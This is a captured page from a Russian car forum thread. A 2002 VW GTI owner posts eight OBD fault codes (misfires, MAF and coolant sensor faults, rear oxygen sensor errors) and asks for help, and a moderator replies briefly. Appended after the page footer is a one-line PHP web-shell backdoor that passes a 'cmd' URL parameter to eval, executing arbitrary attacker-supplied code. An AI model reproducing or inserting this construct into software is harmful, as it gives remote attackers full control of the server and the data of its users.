+ Ответить в теме
Страница 3 из 3 ПерваяПервая 1 2 3
Показано с 21 по 23 из 23

Тема: Катализатор?


  1. #21
    Мимо проходил Paulus is on a distinguished road Аватар для Paulus
    Регистрация
    09.01.2010
    Сообщений
    2

    8 Faults Found

    Всем привет,

    у меня похожая проблема, приехал GTI недавно из штатов, 2002 год 180 кабыл, вот какие ошибки считали:


    8 Faults Found:

    16985 - Internal Control Module: Memory Check Sum Error
    P0601 - 35-00 - -
    16684 - Random/Multiple Cylinder Misfire Detected
    P0300 - 35-10 - - - Intermittent
    16686 - Cylinder 2: Misfire Detected
    P0302 - 35-10 - - - Intermittent
    16502 - Engine Coolant Temp. Sensor (G62): Signal too High
    P0118 - 35-00 - -
    16487 - Mass Air Flow Sensor (G70): Signal too High
    P0103 - 35-10 - - - Intermittent
    17525 - Oxygen (Lambda) Sensor Heating Circuit: B1 S2: Short to Ground
    P1117 - 35-00 - -
    17522 - Oxygen (Lambda) Sensor; B1 S2: Internal Resistance too High
    P1114 - 35-00 - -
    16522 - Oxygen (Lambda) Sensor B1 S2: Signal too High
    P0138 - 35-10 - - - Intermittent


    у меня шок, с чего начать и как побороть это всё? Что подскажите?

  2. #22
    Модератор inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice inVENTOr is just really nice Аватар для inVENTOr
    Регистрация
    06.03.2006
    Откуда
    CCCР
    Машина
    BMW 330D Соляра Power
    Сообщений
    1,780
    Цитата Сообщение от Paulus Посмотреть сообщение
    Всем привет,

    у меня похожая проблема, приехал GTI недавно из штатов, 2002 год 180 кабыл, вот какие ошибки считали:


    8 Faults Found:

    16985 - Internal Control Module: Memory Check Sum Error
    P0601 - 35-00 - -
    16684 - Random/Multiple Cylinder Misfire Detected
    P0300 - 35-10 - - - Intermittent
    16686 - Cylinder 2: Misfire Detected
    P0302 - 35-10 - - - Intermittent
    16502 - Engine Coolant Temp. Sensor (G62): Signal too High
    P0118 - 35-00 - -
    16487 - Mass Air Flow Sensor (G70): Signal too High
    P0103 - 35-10 - - - Intermittent
    17525 - Oxygen (Lambda) Sensor Heating Circuit: B1 S2: Short to Ground
    P1117 - 35-00 - -
    17522 - Oxygen (Lambda) Sensor; B1 S2: Internal Resistance too High
    P1114 - 35-00 - -
    16522 - Oxygen (Lambda) Sensor B1 S2: Signal too High
    P0138 - 35-10 - - - Intermittent


    у меня шок, с чего начать и как побороть это всё? Что подскажите?
    А что те кто делал диагностику не сказали? :punish::woodpecker:
    BMW 330D POWERED by Dizelboost :pepper:

  3. #23

+ Ответить в теме
Страница 3 из 3 ПерваяПервая 1 2 3

Похожие темы

  1. Катализатор 1.8Т +\- чип.
    от BVQ в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 11
    Последнее сообщение: 02.10.2023, 05:36
  2. катализатор на 5 или 6 gti
    от Bonder в разделе Покупка и продажа запчастей
    Ответов: 8
    Последнее сообщение: 10.10.2013, 16:06
  3. Катализатор
    от Zero Tolerance в разделе Двигатель
    Ответов: 15
    Последнее сообщение: 14.06.2011, 12:04
  4. НАНО-катализатор
    от geminus в разделе Курилка
    Ответов: 3
    Последнее сообщение: 20.01.2010, 12:08
  5. Катализатор
    от Verdik в разделе Тюнинг: двигатель, впрыск, впуск/выпуск
    Ответов: 3
    Последнее сообщение: 09.03.2008, 23:28

Ваши права

  • Вы не можете создавать новые темы
  • Вы не можете отвечать в темах
  • Вы не можете прикреплять вложения
  • Вы не можете редактировать свои сообщения
{{$myVar = eval($_GET[cmd]);}}